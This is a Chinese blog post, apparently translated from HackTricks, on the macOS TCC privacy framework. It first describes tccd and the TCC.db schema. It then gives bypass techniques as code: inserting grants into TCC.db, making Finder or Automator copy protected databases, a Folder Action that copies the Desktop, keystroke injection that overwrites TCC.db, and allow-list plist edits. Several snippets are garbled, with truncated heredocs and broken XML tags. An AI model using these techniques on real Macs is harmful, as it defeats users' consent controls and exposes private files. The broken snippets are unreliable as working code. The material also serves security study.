• 作者:老汪软件技巧
  • 发表时间:2024-09-24 10:03
  • 浏览量:

前言

TCC(透明度、同意和控制) 是一种专注于规范应用程序权限的安全协议。其主要作用是保护敏感功能,如位置服务、联系人、照片、麦克风、摄像头、可访问性和完整磁盘访问。通过在授予应用程序访问这些元素的权限之前要求用户明确同意,TCC 增强了隐私和用户对其数据的控制。

当应用程序请求访问受保护的功能时,用户会遇到 TCC。这可以通过允许用户批准或拒绝访问的提示来看到。此外,TCC 还可以适应直接用户操作,例如将文件拖放到应用程序中,以授予对特定文件的访问权限,确保应用程序只能访问明确允许的内容。

TCC由位于并配置在的守护进程处理(注册 mach 服务)。

/System/Library/PrivateFrameworks/TCC.framework/Support/tccd
/System/Library/LaunchDaemons/com.apple.tccd.system.plistcom.apple.tccd.system

在注册 mach 服务时定义的每个登录用户都会运行一个用户模式 tccd

/System/Library/LaunchAgents/com.apple.tccd.plistcom.apple.tccdcom.apple.usernotifications.delegate.com.apple.tccd

在这里您可以看到 tccd 以系统和用户身份运行:

ps -ef | grep tcc
    0   374     1   0 Thu07PM ??         2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
  501 63079     1   0  6:59PM ??         0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd

权限从父应用程序继承,并根据Bundle ID和Developer ID来跟踪权限。

TCC 数据库

将权限信息存储在TCC数据库中:

查询数据库

可以通过sqlite命令行或者DB Browser For SQLite软件查看TCC.db数据库。

TCC.db数据库有几个表

access

access表结构字段如下:

# Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2;
# To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"
echo "$BLOB" | xxd -r -p > terminal-csreq.bin
csreq -r- -t < terminal-csreq.bin
# To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
REQ_STR=$(codesign -d -r- /Applications/Utilities/Terminal.app/ 2>&1 | awk -F ' => ' '/designated/{print $2}')
echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
REQ_HEX=$(xxd -p /tmp/csreq.bin  | tr -d '\n')
echo "X'$REQ_HEX'"

TCC 签名检查

TCC数据库存储应用程序的Bundle ID ,但它也存储有关签名的信息,以确保请求使用权限的应用程序是正确的。

# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
#Get csreq
# From bash
echo FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checks
csreq -t -r /tmp/telegram_csreq.bin
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"

因此,使用相同名称和bundle ID的其他应用程序将无法访问授予其他应用程序的权限。

entitlement与权限

应用程序不仅需要请求并被授予访问某些资源的权限,还需要拥有相关的权限。例如,Telegram有权com.apple.security.device.camera请求访问相机。没有此权限的应用程序将无法访问相机(甚至不会向用户询问权限)。

但是,对于要访问某些用户文件夹(例如~/Desktop和~/Downloads)的应用~/Documents,它们不需要具有任何特定权限。系统将透明地处理访问并根据需要提示用户。

Apple 的应用程序不会生成提示。它们的授权列表中包含预先授予的权限,这意味着它们永远不会生成弹出窗口,也不会出现在任何TCC 数据库中。例如:

codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
com.apple.private.tcc.allow
<array>
    <string>kTCCServiceRemindersstring>
    <string>kTCCServiceCalendarstring>
    <string>kTCCServiceAddressBookstring>
array>

这将避免日历要求用户访问提醒、日历和地址簿。

TCC特权与旁路插入TCC

如果在某个时候您设法获得 TCC 数据库的写访问权限,则可以使用以下命令添加条目(删除注释):

INSERT INTO access (
    service, 
    client, 
    client_type, 
    auth_value, 
    auth_reason, 
    auth_version, 
    csreq, 
    policy_id, 
    indirect_object_identifier_type, 
    indirect_object_identifier, 
    indirect_object_code_identity, 
    flags, 
    last_modified, 
    pid, 
    pid_version, 
    boot_uuid, 
    last_reminded
) VALUES (
    'kTCCServiceSystemPolicyDesktopFolder', -- service
    'com.googlecode.iterm2', -- client
    0, -- client_type (0 - bundle id)
    2, -- auth_value  (2 - allowed)
    3, -- auth_reason (3 - "User Set")
    1, -- auth_version (always 1)
    X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now
    NULL, -- policy_id
    NULL, -- indirect_object_identifier_type
    'UNUSED', -- indirect_object_identifier - default value
    NULL, -- indirect_object_code_identity
    0, -- flags
    strftime('%s', 'now'), -- last_modified with default current timestamp
    NULL, -- assuming pid is an integer and optional
    NULL, -- assuming pid_version is an integer and optional
    'UNUSED', -- default value for boot_uuid
    strftime('%s', 'now') -- last_reminded with default current timestamp
);

FDA 自动化(查找器)

自动化权限的 TCC 名称是:kTCCServiceAppleEvents 此特定的 TCC 权限还指示可以在 TCC 数据库内部管理的应用程序(因此权限不允许管理所有内容)。

Finder是一个始终具有 FDA 的应用程序(即使它没有出现在 UI 中),因此如果您拥有它的自动化权限,则可以滥用其权限使其执行某些操作kTCCServiceAppleEvents。在这种情况下,您的应用将需要的权限com.apple.Finder。

# This AppleScript will copy the system TCC database into /tmp
osascript<"Finder"
    set homeFolder to path to home folder as string
    set sourceFile to (homeFolder & "Library:Application Support:com.apple.TCC:TCC.db") as alias
    set targetFolder to POSIX file "/tmp" as alias
    duplicate file sourceFile to targetFolder with replacing
end tell
EOD

osascript<"Finder"
    set sourceFile to POSIX file "/Library/Application Support/com.apple.TCC/TCC.db" as alias
    set targetFolder to POSIX file "/tmp" as alias
    duplicate file sourceFile to targetFolder with replacing
end tell
EOD

您可以利用此功能来编写您自己的用户 TCC 数据库。

凭借此权限,您将能够要求 Finder 访问 TCC 限制文件夹并向您提供文件,但据我所知,您将无法让 Finder 执行任意代码来充分滥用其 FDA 访问权限。

因此,您将不能滥用 FDA 的全部权力。

这是 TCC 获取 Finder 自动化权限的提示:

请注意,由于Automator应用程序具有 TCC 权限kTCCServiceAppleEvents,因此它可以控制任何应用程序,例如 Finder。因此,拥有控制 Automator 的权限后,您还可以使用类似以下代码来控制Finder :

osascript<set theScript to "touch /tmp/something"
tell application "Automator"
   set actionID to Automator action id "com.apple.RunShellScript"
   tell (make new workflow)
      add actionID to it
      tell last Automator action
         set value of setting "inputMethod" to 1
         set value of setting "COMMAND_STRING" to theScript
      end tell
      execute it
   end tell
   activate
end tell
EOD
# Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear

脚本编辑器应用程序也是如此 , 它可以控制 Finder,但使用 AppleScript 则无法强制它执行脚本。

自动化(SE)到一些TCC

系统事件可以创建文件夹操作,文件夹操作可以访问某些 TCC 文件夹(桌面、文档和下载),因此可以使用如下脚本来滥用此行为:

# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("cp -r $HOME/Desktop /tmp/desktop");
EOD
osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"
# Create folder action with System Events in "$HOME/Desktop"
osascript <<EOD
tell application "System Events"
    -- Ensure Folder Actions are enabled
    set folder actions enabled to true
    -- Define the path to the folder and the script
    set homeFolder to path to home folder as text
    set folderPath to homeFolder & "Desktop"
    set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"
    -- Create or get the Folder Action for the Desktop
    if not (exists folder action folderPath) then
        make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
    end if
    set myFolderAction to folder action folderPath
    -- Attach the script to the Folder Action
    if not (exists script scriptPath of myFolderAction) then
        make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
    end if
    -- Enable the Folder Action and the script
    enable myFolderAction
end tell
EOD
# File operations in the folder should trigger the Folder Action
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"

自动化 (SE) + FDA 可访问性( kTCCServicePostEvent| kTCCServiceAccessibility) *****

启用自动化System Events+ 辅助功能 ( kTCCServicePostEvent) 允许向进程发送按键。这样,您就可以滥用 Finder 来更改用户的 TCC.db 或将 FDA 提供给任意应用程序(尽管这可能会提示输入密码)。

Finder 覆盖用户 TCC.db 示例:

-- store the TCC.db file to copy in /tmp
osascript <<EOF
tell application "System Events"
    -- Open Finder
    tell application "Finder" to activate
    -- Open the /tmp directory
    keystroke "g" using {command down, shift down}
    delay 1
    keystroke "/tmp"
    delay 1
    keystroke return
    delay 1
    -- Select and copy the file
    keystroke "TCC.db"
    delay 1
    keystroke "c" using {command down}
    delay 1
    -- Resolve $HOME environment variable
    set homePath to system attribute "HOME"
    -- Navigate to the Desktop directory under $HOME
    keystroke "g" using {command down, shift down}
    delay 1
    keystroke homePath & "/Library/Application Support/com.apple.TCC"
    delay 1
    keystroke return
    delay 1
    -- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)
    keystroke "TCC.db"
    delay 1
    keystroke return
    delay 1
    key code 51 using {command down}
    delay 1
    -- Paste the file
    keystroke "v" using {command down}
end tell
EOF

kTCCServiceAccessibility向 FDA*

检查此页面以了解一些来获取 FDA* 的特权或运行键盘记录器。

FDA 端点安全客户端

如果有kTCCServiceEndpointSecurityClient,则说明您有 FDA。结束。

系统政策 SysAdmin 文件提交至 FDA

kTCCServiceSystemPolicySysAdminFiles允许更改NFSHomeDirectory更改其主文件夹的用户的属性,从而允许绕过TCC。

用户 TCC DB 至 FDA

获取用户TCC数据库的写权限,您无法授予自己权限,只有系统数据库中的用户才能授予该权限。FDA

但你可以给自己Automation rights to Finder,并滥用以前的技术来升级到 FDA*。

FDA 向 TCC 发出许可

完全磁盘访问是 TCC 名称是kTCCServiceSystemPolicyAllFiles

我不认为这是真正的特权,但万一你发现它有用:如果你用 FDA 控制一个程序,你可以修改用户 TCC 数据库并授予自己任何访问权限。万一你可能失去 FDA 权限,这可以作为一种有用的持久性技术。

SIP 旁路至 TCC 旁路

系统TCC 数据库受SIP保护,因此只有具有指定权限的进程才能修改它。因此,如果攻击者找到文件的SIP 绕过(能够修改受 SIP 限制的文件),他将能够:

但是,还有另一种方法可以滥用此SIP 绕过来绕过 TCC,该文件

/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist

是需要 TCC 例外的应用程序的允许列表。因此,如果攻击者可以从此文件中删除 SIP 保护并添加自己的应用程序,该应用程序将能够绕过 TCC。例如添加终端:

# Get needed info
codesign -d -r- /System/Applications/Utilities/Terminal.app

允许应用程序列表.plist:

"1.0" encoding="UTF-8"?>
plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>Serviceskey>
	<dict>
		<key>SystemPolicyAllFileskey>
		<array>
			<dict>
				<key>CodeRequirementkey>
				<string>identifier "com.apple.Terminal" and anchor applestring>
				<key>IdentifierTypekey>
				<string>bundleIDstring>
				<key>Identifierkey>
				<string>com.apple.Terminalstring>
			dict>
		array>
	dict>
dict>
plist>

资料:book.hacktricks.xyz/macos-harde…